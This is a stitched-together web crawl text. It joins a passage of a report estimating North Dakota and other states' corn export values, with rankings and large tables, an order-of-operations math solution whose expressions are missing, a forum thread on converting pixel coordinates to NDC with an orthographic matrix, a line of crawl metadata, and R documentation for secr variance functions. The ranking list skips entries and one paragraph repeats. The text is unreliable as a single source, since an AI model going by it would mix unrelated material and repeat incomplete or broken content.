3. Minnesota (8.54%)
4. Indiana (7.70%)
6. Ohio (6.30%)
7. Missouri (6.11%)
8. South Dakota (5.49%)
9. North Dakota (5.07%)
10. Kansas (4.01%)
11. Arkansas (4%)
12. Mississippi (2.80%)
13. Michigan (2.38%)
14. Wisconsin (2.30%)
15. Kentucky (2.29%)
The trends of the indicators for all the exporting states are presented from Figure 66 to Figure 72. The details for other indicators at the global level can be found in the appendix.
• The trends of the indicators for all the exporting states are presented from Figure 66 to Figure 72. The details for other indicators at the global level can be found in the appendix.
North Dakota Corn Excluding Seed Exports
The USDA FAS reports state export values based on reported port values. Hence, the data obtained from the USDA FAS website do not reflect the actual performance of the individual states in terms of their export and production. To that effect, state representatives have difficulty in negotiating for incentives and farm programs for domestic farmers.
To solve this problem, this report employs a production accounts method to estimate North Dakota corn exports. For consistency, the cash receipts-based method employed by the USDA ERS to estimate state level exports also is obtained. The export value for these three methods are presented in Tables 1, 2 and 3.
A comparison of the three data types is shown in Table 4 for the total export value during the period. We can see that the production accounts method and cash-receipts method yield similar results.
The data from USDA FAS underestimates North Dakota corn exports by about five times relative to the production accounts method. For instance, the production adjusted export value predicts a value of \$652,594,412 in 2018, while the FAS method presents a value of \$134,183,209. On the other hand, the ERS method predicted \$337,701,587 for North Dakota, which is two times less than the production adjusted estimate.
### Future Research Proposal
Exports are particularly important for every economy. Furthermore, in the case of North Dakota, where production mostly exceeds domestic consumption, the need to explore foreign market potentials is essential. From this report, we can observe that the current trends of corn trade for North Dakota have been increasing. Evaluating the determinants of North Dakota corn exports is essential.
• The next stage of this research seeks to evaluate the efficiency of U.S. state agricultural exports and their determinants. Of particular interest are the impact of genetically modified restrictive index, tariffs and other transportation costs. The expected outcome of the estimation is to provide the requisite knowledge that will give North Dakota corn farmers a comparative advantage on the international markets, given that these variables have become very instrumental drivers of international trade in recent years.
• The second objective will be to examine the determinants of commodity price volatilities and their impact on North Dakota production and exports.
## Section I: Global Temporal Corn Trade
Figure 1: Global Corn and Seed Exports, Annual Trends
Figure 2: Global Ethyl Alcohol Exports, Annual Trends
Figure 3: Global Corn Residue (BWC) Exports, Annual Trends
Figure 4: Global Corn Flour (GHS) Exports, Annual Trends
Figure 5: Global Glucose and Fructose Exports, Annual Trends
Figure 6: Global Corn Oil (CR) Exports, Annual Trends
Figure 7: Global Export Share of Corn Products, 2014-2018
Figure 8: Global Export Value of Corn Products, Annual Trends
Figure 9: Global Export Quantity of Corn Products, Annual Trends
Figure 10: Global Export Price of Corn Products, Annual Trends
## Section II: Global Spatial Corn Export
Figure 11: Top 5 Countries Corn and Seed Export Value, Annual Trends
Figure 12: Top 6 to 10 Countries Corn and Seed Export Value, Annual Trends
Figure 13: Top 11 to 15 Countries Corn and Seed Export Value, Annual Trends
Figure 14: Top 5 Countries Ethyl Alcohol Export Value, Annual Trends
Figure 15: Top 6 to 10 Countries Ethyl Alcohol Export Value, Annual Trends
Figure 16: Top 11 to 15 Countries Ethyl Alcohol Export Value, Annual Trends
Figure 17: Top 5 Countries Corn Residue (BWC) Export Value, Annual Trends
Figure 18: Top 6 to 10 Countries Corn Residue (BWC) Export Value, Annual Trends
Figure 19: Top 11 to 15 Countries Corn Residue (BWC) Export Value, Annual Trends
Figure 20: Top 5 Countries Corn Flour (GHS) Export Value, Annual Trends
Figure 21: Top 6 to 10 Countries Corn Flour (GHS) Export Value, Annual Trends
Figure 22: Top 11 to 15 Countries Corn Flour (GHS) Export Value, Annual Trends
Figure 23: Top 5 Countries Glucose and Fructose Export Value, Annual Trends
Figure 24: Top 6 to 10 Countries Glucose and Fructose Export Value, Annual Trends
Figure 25: Top 11 to 15 Countries Glucose and Fructose Export Value, Annual Trends
Figure 26: Top 5 Countries Corn Oil (CR) Export Value, Annual Trends
Figure 27: Top 6 to 10 Countries Corn Oil (CR) Export Value, Annual Trends
Figure 28: Top 11 to 15 Countries Corn Oil (CR) Export Value, Annual Trends
## Section III: Global Spatial Corn Import
Figure 29: Top 5 Countries Corn and Seed Import Value, Annual Trends
Figure 30: Top 6 to 10 Countries Corn and Seed Import Value, Annual Trends
Figure 31: Top 11 to 15 Countries Corn and Seed Import Value, Annual Trends
Figure 32: Top 5 Countries Ethyl Alcohol Import Value, Annual Trends
Figure 33: Top 6 to 10 Countries Ethyl Alcohol Import Value, Annual Trends
Figure 34: Top 11 to 15 Countries Ethyl Alcohol Import Value, Annual Trends
Figure 35: Top 5 Countries Corn Residue (BWC) Import Value, Annual Trends
Figure 36: Top 6 to 10 Countries Corn Residue (BWC) Import Value, Annual Trends
Figure 37: Top 11 to 15 Countries Corn Residue (BWC) Import Value, Annual Trends
Figure 38: Top 5 Countries Corn Flour (GHS) Import Value, Annual Trends
Figure 39: Top 6 to 10 Countries Corn Flour (GHS) Import Value, Annual Trends
Figure 40: Top 11 to 15 Countries Corn Flour (GHS) Import Value, Annual Trends
Figure 41: Top 5 Countries Glucose and Fructose Import Value, Annual Trends
Figure 42: Top 6 to 10 Countries Glucose and Fructose Import Value, Annual Trends
Figure 43: Top 11 to 15 Countries Glucose and Fructose Import Value, Annual Trends
Figure 44: Top 5 Countries Corn Oil (CR) Import Value, Annual Trends
Figure 45: Top 6 to 10 Countries Corn Oil (CR) Import Value, Annual Trends
Figure 46: Top 11 to 15 Countries Corn Oil (CR) Import Value, Annual Trends
## Section IV: U.S. Temporal Corn Export
Figure 47: U.S. Share of Exports Relative to the World, Annual Trends
## Section V: U.S. Spatial Corn Export
Figure 48: U.S. Corn and Seed Export Value to Top 5 Countries, Annual Trends
Figure 49: U.S. Corn and Seed Export Value to Top 6 to 10 Countries, Annual Trends
Figure 50: U.S. Corn and Seed Export Value to Top 11 to 15 Countries, Annual Trends
Figure 51: U.S. Ethyl Alcohol Export Value to Top 5 Countries, Annual Trends
Figure 52: U.S. Ethyl Alcohol Export Value to Top 6 to 10 Countries, Annual Trends
Figure 53: U.S. Ethyl Alcohol Export Value to Top 11 to 15 Countries, Annual Trends
Figure 54: U.S. Corn Residue (BWC) Export Value to Top 5 Countries, Annual Trends
Figure 55: U.S. Corn Residue (BWC) Export Value to Top 6 to 10 Countries, Annual Trends
Figure 56: U.S. Corn Residue (BWC) Export Value to Top 11 to 15 Countries, Annual Trends
Figure 57: U.S. Corn Flour (GHS) Export Value to Top 5 Countries, Annual Trends
Figure 58: U.S. Corn Flour (GHS) Export Value to Top 6 to 10 Countries, Annual Trends
Figure 59: U.S. Corn Flour (GHS) Export Value to Top 11 to 15 Countries, Annual Trends
Figure 60: U.S. Glucose and Fructose Export Value to Top 5 Countries, Annual Trends
Figure 61: U.S. Glucose and Fructose Export Value to Top 6 to 10 Countries, Annual Trends
Figure 62: U.S. Glucose and Fructose Export Value to Top 11 to 15 Countries, Annual Trends
Figure 63: U.S. Corn Oil (CR) Export Value to Top 5 Countries, Annual Trends
Figure 64: U.S. Corn Oil (CR) Export Value to Top 6 to 10 Countries, Annual Trends
Figure 65: U.S. Corn Oil (CR) Export Value to Top 11 to 15 Countries, Annual Trends
## Section VI: U.S. State Level Corn Export
Figure 66: U.S. Corn Excluding Seed Export Value of Top 5 States, Annual Trends
Figure 67: U.S. Corn Excluding Seed Export Value of Top 6 to 10 States, Annual Trends
Figure 68: U.S. Corn Excluding Seed Export Value of Top 11 to 15 States, Annual Trends
Figure 69: U.S. Corn Excluding Seed Export Value of Top 16 to 20 States, Annual Trends
Figure 70: U.S. Corn Excluding Seed Export Value of Top 21 to 25 States, Annual Trends
Figure 71: U.S. Corn Excluding Seed Export Value of Top 26 to 30 States, Annual Trends
Figure 72. U.S. Corn Excluding Seed Export Value of Top 31 to 35 States, Annual Trends
Table 1: NDSU Estimate of U.S. State Corn Grain Export Value, Annual Trends.
Reporter 2010 2011 2012 2013 2014 2015 2016 2017 2018 Alabama 26,173,819 41,624,953 47,364,118 35,959,929 50,999,370 42,810,036 31,639,862 33,447,903 38,908,101 Arkansas 315,905,196 553,447,252 421,672,458 275,154,152 455,478,630 349,854,895 350,231,958 389,774,431 487,852,592 Delaware 17,754,412 28,847,069 22,125,851 12,200,251 22,638,566 15,108,248 15,667,092 16,550,961 19,648,420 Florida 1,995,232 1,693,218 2,349,968 2,163,006 3,841,229 2,099,003 2,241,065 941,612 1,228,389 Georgia 20,391,589 12,804,964 25,333,170 18,463,191 33,041,081 29,357,229 17,840,202 13,545,536 13,857,638 Illinois 1,445,737,642 1,930,268,992 1,206,457,554 932,444,046 1,513,873,985 1,190,998,563 1,422,665,547 1,312,901,813 1,990,631,034 Indiana 781,481,199 1,089,199,446 712,654,856 525,798,116 835,408,747 599,749,072 769,565,993 688,944,458 1,021,985,329 Iowa 1,461,008,397 2,134,106,193 1,298,266,837 821,665,347 1,346,266,454 1,174,609,867 1,297,824,615 1,171,341,511 1,590,846,365 Kansas 423,986,846 445,802,459 270,374,988 249,853,515 367,245,651 302,874,948 437,262,800 385,456,381 546,299,461 Kentucky 141,628,365 255,026,058 183,478,257 162,039,127 236,770,815 195,113,920 215,502,864 222,910,176 295,551,266 Louisiana 115,431,676 150,850,368 164,016,994 108,476,351 233,055,186 132,159,791 140,599,531 145,885,057 187,367,273 Maryland 49,872,919 78,188,066 68,221,158 35,037,291 61,882,582 44,681,425 48,920,718 51,909,132 67,855,182 Michigan 258,936,979 372,206,251 257,803,521 164,256,081 237,545,843 207,853,648 242,708,435 202,470,065 319,720,746 Minnesota 942,557,952 1,213,096,926 937,049,668 534,524,354 815,171,220 786,441,506 881,927,125 787,575,250 1,075,605,748 Mississippi 208,406,343 300,161,446 273,813,215 180,075,797 339,818,569 241,652,448 236,442,040 250,365,779 357,517,627 Missouri 647,133,197 846,987,972 493,331,843 394,282,194 704,429,072 394,820,361 639,326,879 619,842,915 752,104,187 Nebraska 774,236,850 1,117,524,153 628,357,938 482,999,250 759,697,740 630,228,420 707,498,676 661,633,237 656,075,987 New Jersey 6,791,150 14,089,843 10,965,871 6,423,444 12,109,638 6,780,093 8,300,404 9,260,117 11,522,469 New York 40,133,084 52,202,223 42,003,953 25,454,584 38,251,969 28,042,495 30,802,806 24,680,383 47,058,648 North Carolina 127,127,049 178,838,356 188,027,553 94,832,009 191,475,508 114,408,266 139,684,460 143,532,703 153,266,833 North Dakota 396,507,583 486,941,396 491,640,383 260,959,447 521,351,099 375,775,531 547,032,540 482,727,166 652,594,412 Ohio 666,044,791 1,009,431,826 648,959,108 430,591,447 687,980,961 516,874,655 625,122,183 541,724,649 834,502,937 Oklahoma 35,586,899 14,607,572 12,085,549 19,643,798 27,446,884 24,356,622 31,431,825 37,748,520 45,279,602 Pennsylvania 66,128,936 96,027,433 76,273,241 50,788,305 76,205,266 53,256,241 61,272,211 60,621,223 80,636,100 South Carolina 32,461,824 39,251,881 39,254,362 17,511,790 43,029,362 20,193,139 29,815,118 31,532,941 29,748,813 South Dakota 450,777,374 654,624,891 439,915,697 345,542,142 584,494,016 478,880,468 566,929,811 482,002,574 683,630,369 Tennessee 127,542,657 175,273,761 146,852,330 139,636,357 212,959,264 175,002,208 175,988,731 179,941,107 227,118,441 Texas 15,173,228 7,311,625 8,985,829 4,405,294 13,466,275 5,979,872 10,101,106 13,615,939 11,026,809 Virginia 44,289,423 94,851,587 73,391,303 44,753,380 67,892,098 44,816,184 49,811,256 54,539,745 70,257,988 West Virginia 1,703,439 3,609,848 3,015,792 1,966,734 3,597,083 2,614,706 3,057,760 2,949,774 4,155,208 Wisconsin 233,697,685 334,335,098 215,112,439 115,312,605 213,654,808 192,398,740 246,274,267 212,194,841 303,474,308
Table 2: FAS Estimate of U.S. State Corn Grain Export Value, Annual Trends.
Reporter 2010 2011 2012 2013 2014 2015 2016 2017 2018 Alabama 34,716,607 . 9,754,265 6,419,243 23,848,117 46,955 21,780 11,000 24,945 Alaska . . . . . . 978,670 . . Arizona . 26,034 25,501 9,912 23,961 . 34,164 25,907 33,574 Arkansas . 4,596,593 4,706,259 5,963,638 10,594,436 184,999 . . 3,707,450 California 38,608,040 31,562,613 22,223,909 37,129,983 19,354,187 13,409,608 15,081,212 12,092,151 11,733,298 Colorado 3,979,586 12,416,909 1,438,190 2,864,276 5,260,694 3,384,282 9,583,554 1,269,494 19,473,166 Connecticut 169,032,653 127,085,742 39,305 . 4,958 12,902 2,206,640 65,018 2,495,242 Delaware . . . . 30,720 4,536 . 6,737,278 1,550,223 Florida 3,377,652 7,266,910 2,121,445 15,910,852 1,873,905 2,949,063 3,752,378 1,733,719 5,010,728 Georgia 7,627,334 1,768,181 2,886,409 1,240,654 532,492 54,470 92,167 917,449 2,346,296 Hawaii 9,865 . . 84,087 274,766 . . 28,092 . Idaho 2,658,367 401,556 101,489 603,057 2,141,683 91,812 68,299 26,237 3,260,095 Illinois 447,832,696 733,550,745 511,974,466 657,771,692 1,008,456,636 708,896,992 504,743,230 433,249,827 829,134,925 Indiana 41,767,638 35,116,977 38,787,756 46,659,489 61,681,087 79,216,473 55,823,850 67,394,533 44,161,064 Iowa 401,253,223 733,890,595 887,916,560 539,960,724 1,145,681,143 966,229,035 1,176,124,824 1,184,048,710 1,441,396,092 Kansas 215,900,047 249,707,330 106,868,939 255,179,408 281,136,247 212,769,600 304,939,213 217,675,627 194,918,897 Kentucky 7,519,770 8,764,309 7,422,900 1,331,335 2,321,019 14,061,614 2,903,478 3,405,043 3,129,965 Louisiana 4,989,696,005 7,190,836,624 4,710,476,567 3,283,377,169 5,404,078,218 4,020,538,238 4,493,936,202 4,185,334,437 4,894,774,277 Maine . . 4,726 6,484,895 635,223 183,740 45,925 . 45,421 Maryland 926,645 52,632 4,682,812 1,090,127 208,922 548,214 466,758 1,029,238 247,719 Massachusetts 20,703 . 23,895 23,947 9,186 . . 32,181 . Michigan 35,890,132 43,210,268 4,006,943 2,467,592 39,773,447 25,422,504 16,773,037 18,586,688 33,350,754 Minnesota 189,294,729 392,579,176 185,872,238 112,108,491 195,564,309 126,468,052 169,817,962 195,471,804 135,332,694 Mississippi . 3,346,921 10,512,100 8,700,824 . . 562,982 194,064 . Missouri 134,462,425 177,689,176 262,892,377 109,883,441 167,811,191 231,982,780 231,742,083 247,670,341 263,937,162 Montana 982,941 519,192 788,697 714,944 628,472 1,528,062 2,600,857 2,569,082 19,973,642 Nebraska 438,284,353 646,853,697 574,637,247 144,176,236 194,659,736 229,580,529 343,966,130 429,565,846 447,420,498 Nevada 57,400 40,654 . . 69,750 . . . . New Jersey 411,124 1,039,736 2,092,023 1,108,810 926,434 918,590 225,282 349,435 226,330 New Mexico 3,365,531 3,342,966 5,754,203 5,784,317 3,278,652 3,495,337 3,943,659 4,222,355 7,073,855 New York 130,492,731 46,305,410 54,802,562 4,827,621 4,862,019 4,174,000 7,285,873 1,523,473 3,471,391 North Carolina 630,530 552,510 17,117 6,261,191 3,187,624 1,294,031 842,911 19,224 939,198 North Dakota 82,289,805 59,113,932 84,033,573 75,667,677 27,735,598 82,134,314 89,292,071 69,436,021 134,183,209 Ohio 34,274,110 33,769,085 32,877,932 96,459,078 87,965,749 65,688,228 97,358,974 54,807,083 47,377,789 Oklahoma . 861,596 . 283,284 . . . 5,421,991 2,691,606 Oregon 77,072,958 96,191,789 75,234,342 57,863,558 22,377,766 12,094,924 56,731,521 72,723,213 149,612,067 Pennsylvania 991,163 1,145,742 1,248,835 2,532,065 2,339,283 606,763 346,061 749,611 1,124,755 Puerto Rico 26,815 15,820 19,579 56,937 5,339 31,074 15,091 10,551 66,150 South Carolina 385,804 16,962 . 667,534 590,036 1,562,763 14,647,217 60,225 168,295 South Dakota 4,230,703 23,807 357,281 18,420,405 172,819 6,719,014 7,429,689 14,121,965 8,915,985 Tennessee 20,334 189,952 16,343 552,998 . 4,874,654 . 133,063 16,813 Texas 326,451,305 343,512,660 88,331,351 84,988,821 73,342,649 62,671,607 172,194,405 112,711,758 95,493,871 Utah 230,557 20,999 28,008 123,968 52,784 107,629 110,677 25,748 . Vermont 69,468 58,525 202,243 79,116 162,562 479,712 80,367 50,746 . Virgin Islands 490,474 . . . . . . . . Virginia 108,866,765 103,838,847 46,113,415 57,835,210 145,630,111 58,718,198 51,190,704 10,763,586 24,687,480 Washington 1,944,958,439 2,599,445,013 1,649,271,071 834,818,481 1,751,248,565 1,418,342,789 2,103,228,076 1,880,065,016 3,713,992,731 West Virginia . . . . . . 12,029,211 . . Wisconsin 39,906,647 54,045,107 18,302,810 8,185,282 12,315,858 25,241,992 42,361,311 13,459,499 24,022,254 Wyoming . . 224,474 . . . . . .
Table 3: ERS Estimate of U.S. State Corn Grain Export Value, Annual Trends.
Reporter 2010 2011 2012 2013 2014 2015 2016 2017 2018 Alabama 27,024,048 33,465,421 25,542,396 20,488,604 37,042,412 26,234,117 28,648,344 27,960,699 41,445,189 Arizona 3,967,449 6,374,915 5,457,336 4,549,638 8,375,551 5,379,481 8,365,372 7,682,691 6,137,702 Arkansas 49,090,535 68,768,877 81,832,625 82,648,534 125,816,844 64,286,419 84,418,410 82,827,320 112,105,289 California 30,774,195 35,553,039 24,445,317 19,131,040 26,477,543 10,302,699 12,605,373 14,502,037 13,873,032 Colorado 134,275,543 189,940,571 125,561,917 69,902,496 106,002,056 87,452,804 104,535,901 100,295,455 151,867,083 Delaware 18,714,486 24,776,806 19,397,123 14,235,354 23,392,682 19,015,509 22,509,019 20,752,688 27,271,843 Florida 2,696,596 3,298,976 3,399,730 3,859,034 6,667,417 3,535,254 4,558,462 4,117,492 8,106,369 Georgia 42,486,634 49,519,449 46,018,107 41,116,308 64,315,258 34,221,725 41,318,553 36,993,417 51,109,338 Idaho 15,130,558 24,859,493 20,874,637 14,594,609 16,546,546 10,480,701 14,302,983 16,028,094 26,468,806 Illinois 1,670,923,501 2,290,903,223 1,459,146,653 806,865,745 1,820,489,328 1,336,373,673 1,565,070,870 1,413,486,544 2,002,812,469 Indiana 725,770,816 1,110,404,375 630,353,015 399,500,134 895,922,307 640,048,512 642,046,825 664,564,484 875,156,364 Iowa 1,720,966,660 2,489,273,252 1,728,165,656 1,090,663,768 1,587,676,202 1,414,348,888 1,790,825,953 1,587,508,590 2,127,909,904 Kansas 517,672,344 481,251,584 312,863,253 210,789,938 381,054,651 328,070,084 439,366,277 407,907,151 575,274,821 Kentucky 123,590,909 178,530,045 108,422,962 80,093,277 172,870,288 131,940,819 162,033,242 139,563,454 191,247,546 Louisiana 68,331,899 83,088,229 72,164,000 60,747,621 90,845,057 48,019,574 62,796,547 63,606,089 82,553,118 Maryland 45,306,196 50,812,188 38,559,545 31,097,326 53,705,709 40,400,108 46,315,825 44,469,073 60,094,745 Michigan 234,848,164 371,839,222 244,990,716 163,535,729 251,429,326 210,344,330 220,921,598 193,148,860 257,504,272 Minnesota 885,222,212 1,221,042,237 933,955,362 800,128,092 904,054,061 717,176,983 914,941,961 885,069,741 1,166,982,734 Mississippi 78,155,567 101,277,746 96,914,750 83,172,665 113,730,524 62,003,165 81,771,138 75,972,368 88,936,507 Missouri 319,344,193 433,472,686 252,011,429 167,657,414 394,614,633 324,338,887 345,841,750 351,493,070 461,030,916 Montana 3,963,329 5,461,011 4,302,325 3,903,555 6,172,052 4,134,342 4,359,079 3,657,015 4,227,092 Nebraska 1,131,439,252 1,780,512,900 1,093,752,645 769,433,157 1,183,510,547 1,009,979,840 1,142,887,072 1,036,755,432 1,476,573,551 New Jersey 7,399,574 9,832,301 7,917,101 5,675,013 8,784,081 6,828,831 7,673,149 7,130,398 9,280,180 New Mexico 9,262,392 11,040,395 6,732,736 4,249,816 6,995,717 5,833,634 5,725,940 4,213,708 6,194,439 New York 70,358,466 97,987,909 65,464,368 49,088,507 78,157,306 58,498,517 61,099,572 50,499,487 82,986,964 North Carolina 73,179,676 93,806,799 83,858,032 60,327,443 97,399,608 66,335,737 99,124,184 96,182,364 115,582,651 North Dakota 145,901,268 244,165,538 211,819,714 188,068,586 252,243,472 154,252,368 249,378,399 251,331,038 337,701,587 Ohio 395,285,758 532,541,178 389,027,894 291,136,919 438,183,234 349,886,146 371,141,487 336,596,567 507,306,728 Oklahoma 30,720,230 28,087,532 18,851,169 20,071,621 36,467,789 25,106,826 27,550,151 24,434,706 34,779,958 Oregon 6,613,170 10,977,727 9,438,968 5,673,628 6,437,606 4,662,370 5,419,768 6,689,724 8,809,125 Pennsylvania 118,367,643 113,871,124 102,234,370 69,218,388 109,900,480 87,414,811 115,186,436 80,540,135 132,728,790 South Carolina 32,508,280 31,133,661 27,473,147 24,617,851 33,345,436 19,583,992 27,078,923 33,736,870 48,226,270 South Dakota 400,942,802 642,687,491 441,765,029 302,477,359 546,556,048 413,516,664 487,981,462 438,953,969 581,696,212 Tennessee 55,989,389 90,852,278 68,739,959 60,981,728 94,613,521 69,838,802 88,230,406 76,420,443 101,668,979 Texas 255,994,777 177,625,498 191,104,260 124,699,352 254,132,658 187,737,634 248,083,790 202,104,965 249,160,924 Utah 2,987,842 5,279,754 4,660,389 3,544,726 4,737,436 2,707,858 3,082,905 3,154,730 3,770,815 Virginia 26,513,235 30,892,129 30,035,844 22,847,459 42,559,417 29,424,623 37,938,164 34,109,932 46,266,312 Washington 23,478,019 28,604,105 19,790,359 13,959,922 22,506,659 16,940,863 16,482,417 16,845,031 19,591,403 West Virginia 2,629,655 3,281,350 2,973,907 2,606,808 4,178,937 3,102,207 3,788,901 3,422,775 4,800,803 Wisconsin 278,715,846 457,147,150 295,830,851 193,495,433 267,739,262 236,248,123 276,702,259 261,658,973 358,823,588 Wyoming 5,444,892 7,956,839 7,206,404 4,817,402 6,250,339 4,984,076 6,471,134 6,076,421 8,784,582
Table 4: NDSU, FAS and ERS Corn Excluding Seed Export Value for North Dakota.
Year NDSU FAS ERS 2004 157,304,687 12,171,791 71,136,990 2005 160,848,513 4,134,773 49,821,539 2006 254,917,151 14,886,252 94,574,977 2007 383,898,233 73,701,411 145,898,482 2008 469,903,563 182,966,287 275,387,915 2009 296,128,345 80,522,948 168,867,945 2010 396,507,583 82,289,805 145,901,268 2011 486,941,396 59,113,932 244,165,538 2012 491,640,383 84,033,573 211,819,714 2013 260,959,447 75,667,677 188,068,586 2014 521,351,099 27,735,598 252,243,472 2015 375,775,531 82,134,314 154,252,368 2016 547,032,540 89,292,071 249,378,399 2017 482,727,166 69,436,021 251,331,038 2018 652,594,412 134,183,209 337,701,587
1 The efficiency concept allows producers to evaluate input resources (cost) to produce output (revenue). The producers’ efficiency will improve through time with adoption of innovative technologies to minimize cost and maximize revenue.
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SELECT PAGE NO. SELECT PROBLEM NO. FOR THE PAGE
19
PAGE: 11 SET: Exercises PROBLEM: 19
Order of Operations:
To simplify the expression follow the order of operations: (PEMDAS)
1. Evaluate the expressions inside Brackets/Parenthesis (P).
2. Evaluate Powers/Exponents (E).
3. Multiply and/or Divide in order from left to right (MD).
4. Add and/or Subtract in order from left to right (AS).
A simple technique for remembering the order of operations is turned into phrase
Please Excuse My Dear Aunty Sally
The expression is .
First operation is evaluating the expression within the parenthesis.
(Subtract: )
(Evaluate powers: )
(Subtract: )
Next operation is multiplication.
(Multiply: )
Option A is right choice.
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# Transformations from pixels to NDC
• 7 Replies
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#### guatto
• 4
##### Transformations from pixels to NDC
« on: March 12, 2017, 17:48:11 »
let's say that my screen is (800 * 600) and i have a Quad (2D) drawn with the following vertices positions using Triangle_Strip (in NDC) :
Code: [Select]
`float[] vertices = {-0.2f,0.2f,-0.2f,-0.2f,0.2f,0.2f,0.2f,-0.2f};`
And I set up my Transformation Matrix in this way :
Code: [Select]
`Matrix4f tranMatrix = new Matrix4f();tranMatrix.setIdentity();Matrix4f.translate(position, tranMatrix, tranMatrix);Matrix4f.scale(new Vector3f(size.x, size.y, 1f), tranMatrix, tranMatrix);`
Code: [Select]
`#version 150 core in vec2 in_Position; uniform mat4 transMatrix; void main(void) { gl_Position = transMatrix * vec4(in_Position,0,1.0); }`
My question is, which formula should I use to modify the transformations of my quad with coordinates (in Pixels) ?
For example :
-set scale (50px width, 50px height) => NDC Vector2f(width,height)
-set position (100px posX, 100px posY) => NDC Vector2f(x,y)
To better understand, I would create a function to convert my Pixels data to NDCs to send them next to the shader. Thank you !
« Last Edit: March 12, 2017, 17:51:06 by guatto »
#### Kai
##### Re: Transformations from pixels to NDC
« Reply #1 on: March 12, 2017, 17:57:36 »
#### guatto
• 4
##### Re: Transformations from pixels to NDC
« Reply #2 on: March 12, 2017, 18:16:35 »
First thank you for your answers, concerning my previous problem it was about the Orthogonal projection that's why I remove it, can you just tell me what formula should I follow, I am still a beginner , thanks again !
#### Kai
##### Re: Transformations from pixels to NDC
« Reply #3 on: March 12, 2017, 18:21:09 »
#### guatto
• 4
##### Re: Transformations from pixels to NDC
« Reply #4 on: March 12, 2017, 23:03:40 »
I followed the link you gave me and I tried to create an orthographic projection but the result is disappointing, my project contains multiple classes so I uploaded it to a host if you want to help me, thank you !
« Last Edit: March 12, 2017, 23:19:19 by guatto »
#### Kai
##### Re: Transformations from pixels to NDC
« Reply #5 on: March 12, 2017, 23:38:43 »
In Matrix4f.mXY the X is the column index!
#### guatto
• 4
##### Re: Transformations from pixels to NDC
« Reply #6 on: March 13, 2017, 08:55:03 »
I modified my Matrix4f as you told me but now nothing appears, even if I remove the transformation matrix :
Code: [Select]
` matrix.m00 = 2.0f / (right - left); matrix.m01 = 0; matrix.m02 = 0; matrix.m03 = 0; matrix.m10 = 0; matrix.m11 = 2.0f / (top - bottom); matrix.m12 = 0; matrix.m13 = 0; matrix.m20 = 0; matrix.m21 = 0; matrix.m22 = -2.0f / (far - near); matrix.m23 = 0; matrix.m30 = -(right+left)/(right-left); matrix.m31 = -(top+bottom)/(top-bottom); matrix.m32 = -(far+near)/(far-near); matrix.m33 = 1;`
I entered the following coordinates for the parameters:
Code: [Select]
` //left right bottom top near far (0.0f, 800, 600, 0.0f, 0.0f, 1.0f)`
#### Kai
##### Re: Transformations from pixels to NDC
« Reply #7 on: March 14, 2017, 16:58:05 »
Some points:
- that matrix computation is 100% correct. You shouldn't change anything in it anymore
- make sure that your vertices are actually now defined in window coordinates, such as 300 or 600 and not in NDC space, such as 0.5 or -0.2
- I'd use a different near plane distance than 0.0, such as -1.0. The danger when using 0.0 is that your vertices which are currently defined as 2-dimentional vectors also by default use 0.0 as their Z value. This can cause clipping because of rounding errors. So, please use -1.0 as znear.
- if it still won't work, then please build a very very simple and minimal single-file example which also does not work, and post that | 1,215 | 3,918 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.8125 | 3 | CC-MAIN-2018-26 | latest | en | 0.781918 |
https://rdrr.io/cran/secr/man/empirical.html | 1,713,290,568,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296817103.42/warc/CC-MAIN-20240416155952-20240416185952-00896.warc.gz | 441,423,213 | 13,320 | # empirical: Empirical Variance of H-T Density Estimate In secr: Spatially Explicit Capture-Recapture
empirical.varD R Documentation
## Empirical Variance of H-T Density Estimate
### Description
Compute Horvitz-Thompson-like estimate of population density from a previously fitted spatial detection model, and estimate its sampling variance using the empirical spatial variance of the number observed in replicate sampling units. Wrapper functions are provided for several different scenarios, but all ultimately call derivednj. The function derived also computes Horvitz-Thompson-like estimates, but it assumes a Poisson or binomial distribution of total number when computing the sampling variance.
### Usage
derivednj ( nj, esa, se.esa = NULL, method = c("SRS", "R2", "R3", "local",
"poisson", "binomial"), xy = NULL, alpha = 0.05, loginterval = TRUE,
area = NULL, independent.esa = FALSE )
derivedMash ( object, sessnum = NULL, method = c("SRS", "local"),
alpha = 0.05, loginterval = TRUE)
derivedCluster ( object, method = c("SRS", "R2", "R3", "local", "poisson", "binomial"),
alpha = 0.05, loginterval = TRUE)
derivedSession ( object, method = c("SRS", "R2", "R3", "local", "poisson", "binomial"),
xy = NULL, alpha = 0.05, loginterval = TRUE, area = NULL, independent.esa = FALSE )
derivedExternal ( object, sessnum = NULL, nj, cluster, buffer = 100,
mask = NULL, noccasions = NULL, method = c("SRS", "local"), xy = NULL,
alpha = 0.05, loginterval = TRUE)
derivedSystematic( object, xy, design = list(), basenx = 10, df = 9, extrapolate = TRUE,
alpha = 0.05, loginterval = TRUE, independent.esa = FALSE, keep = FALSE,
ncores = NULL)
object fitted secr model nj vector of number observed in each sampling unit (cluster) esa estimate of effective sampling area (\hat{a}) se.esa estimated standard error of effective sampling area (\widehat{SE}(\hat{a})) method character string ‘SRS’ or ‘local’ xy dataframe of x- and y- coordinates (method = "local" only) alpha alpha level for confidence intervals loginterval logical for whether to base interval on log(N) area area of region for method = "binomial" (hectares) independent.esa logical; controls variance contribution from esa (see Details) sessnum index of session in object$capthist for which output required cluster ‘traps’ object for a single cluster buffer width of buffer in metres (ignored if mask provided) mask mask object for a single cluster of detectors noccasions number of occasions (for nj) design list specifying systematic design (see Details) basenx integer number of basis grid points in x-dimension df integer number of degrees of freedom for gam extrapolate logical; if FALSE then boxlet p values are inferred from nearest point inside convex hull of grid keep logical; if TRUE then derivedSystematic saves key intermediate values as attributes ncores integer ### Details derivednj accepts a vector of counts (nj), along with \hat{a} and \widehat{SE}(\hat{a}). The argument esa may be a scalar or (if se.esa is NULL) a 2-column matrix with \hat{a_j} and \widehat{SE}(\hat{a_j}) for each replicate j (row). In the special case that nj is of length 1, or method takes the values ‘poisson’ or ‘binomial’, the variance is computed using a theoretical variance rather than an empirical estimate. The value of method corresponds to ‘distribution’ in derived, and defaults to ‘poisson’. For method = 'binomial' you 